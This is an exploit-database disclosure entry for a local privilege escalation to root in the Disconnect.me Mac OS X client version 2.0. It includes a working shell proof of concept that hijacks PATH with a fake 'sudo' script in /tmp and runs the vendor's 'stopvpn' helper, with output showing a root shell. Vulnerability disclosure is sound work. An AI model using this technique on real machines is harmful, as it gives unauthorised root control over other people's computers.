Disconnect.me Mac OS X Client LPE to Root Vulnerability (0day)

vendor:

Disconnect.me

by:

Kristian Erik Hermansen

9,8

CVSS

HIGH

Local Privilege Escalation

269

CWE

Product Name: Disconnect.me

Affected Version From: 2.0

Affected Version To: 2.0

Patch Exists: YES

Related CWE: None

CPE: a:disconnect:disconnect_me

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Mac OS X

2020

Disconnect.me Mac OS X Client LPE to Root Vulnerability (0day)

The Mac OS X client of Disconnect.me has a local privilege escalation vulnerability (0day). The original download of version 2.0 or below is available at https://disconnect.me/premium/mac, and an archived download is available at http://d-h.st/LKqG. The Disconnect+Desktop.pkg has a sha256 of bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7. The proof of concept involves creating a script in the /tmp directory, setting the PATH to /tmp, and running the “/Library/Application Support/disconnect/stopvpn” command, which will then run the script as root.

Mitigation:

Users should update to the latest version of Disconnect.me, which is not vulnerable to this exploit.

Source

Exploit-DB raw data:

Disconnect.me is the search engine entrusted by the Tor Browser.
 
Unfortunately, the Mac OS X client has an LPE to root vulnerability (0day).
 
Original Download <= v2.0: https://disconnect.me/premium/mac
 
Archived Download: http://d-h.st/LKqG
 
Disconnect+Desktop.pkg: sha256 = bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7
 
https://www.virustotal.com/en/file/bc94c94c88eb5c138396519ff994ae8efe85899475f44e54f71a6ebc047ce4e7/analysis/
 
PoC:
"""
$ id
uid=501(...) gid=20(staff) ...
$ cat /tmp/sudo
#!/bin/bash
/usr/bin/id
/bin/bash
$ chmod +x /tmp/sudo
$ PATH=/tmp "/Library/Application Support/disconnect/stopvpn"
uid=0(root) gid=0(wheel) ...
# /usr/bin/whoami
root
"""
 
--
Kristian Erik Hermansen (@h3rm4ns3c)
https://www.linkedin.com/in/kristianhermansen